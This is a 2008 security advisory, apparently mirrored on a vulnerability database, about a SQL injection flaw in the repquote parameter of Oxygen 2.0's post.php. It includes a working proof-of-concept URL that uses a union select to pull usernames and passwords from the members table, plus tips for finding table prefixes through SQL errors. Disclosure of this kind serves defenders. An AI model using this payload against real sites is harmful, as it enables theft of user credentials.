Oxygen 2.0 (repquote) Remote SQL Injection Vulnerability

🗓️ 16 Jun 2008 00:00:00Reported by RootType

Oxygen 2.0 Remote SQL Injection Vulnerability. Vulnerability in Oxygen 2.0 allows remote SQL injection to access sensitive information from the database via a not correctly verified quote ID variable used in SQL queries


                                                ######################
#
#Oxygen&nbsp;2.0&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability
#
######################
#
#Bug&nbsp;by:&nbsp;h0yt3r
#
##
###
##
#
#This&nbsp;Board&nbsp;Software&nbsp;suffers&nbsp;from&nbsp;a&nbsp;not&nbsp;correctly&nbsp;verified&nbsp;quote&nbsp;ID&nbsp;variable&nbsp;which&nbsp;is&nbsp;used&nbsp;in&nbsp;SQL&nbsp;Querys.
#An&nbsp;Attacker&nbsp;can&nbsp;easily&nbsp;get&nbsp;sensitive&nbsp;information&nbsp;from&nbsp;the&nbsp;database&nbsp;by
#injecting&nbsp;unexpected&nbsp;SQL&nbsp;Querys.
#We&nbsp;need&nbsp;a&nbsp;valid&nbsp;topic&nbsp;ID.
#Im&nbsp;not&nbsp;bored&nbsp;enough&nbsp;to&nbsp;code&nbsp;an&nbsp;exploit&nbsp;for&nbsp;this,&nbsp;so&nbsp;do&nbsp;it&nbsp;manually.
#Its&nbsp;by&nbsp;the&nbsp;way&nbsp;easy&nbsp;to&nbsp;find&nbsp;the&nbsp;correct&nbsp;prefix&nbsp;for&nbsp;the&nbsp;tables&nbsp;by&nbsp;producing&nbsp;a&nbsp;SQL&nbsp;Error.
#When&nbsp;injected&nbsp;your&nbsp;Query&nbsp;you&nbsp;can&nbsp;find&nbsp;the&nbsp;output&nbsp;in&nbsp;the&nbsp;Subject&nbsp;Text&nbsp;Box.
#
#SQL&nbsp;Injection:
#http://[target]/[path]/post.php?action=reply&amp;tid=2517&amp;repquote=[Sequel]
#
#PoC:
#post.php?action=reply&amp;tid=2517&amp;repquote=-1'%20union%20select%20concat(username,0x3a,password),2,3,4,5,6%20from%20o2_members--+
#
#######################
#
#Greetz&nbsp;to&nbsp;b!zZ!t,&nbsp;ramon,&nbsp;thund3r,&nbsp;Free-Hack,&nbsp;Sys-Flaw&nbsp;and&nbsp;of&nbsp;course&nbsp;the&nbsp;(...)&nbsp;h4ck-y0u&nbsp;Team!
#
#######################
#######################&nbsp;

16 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1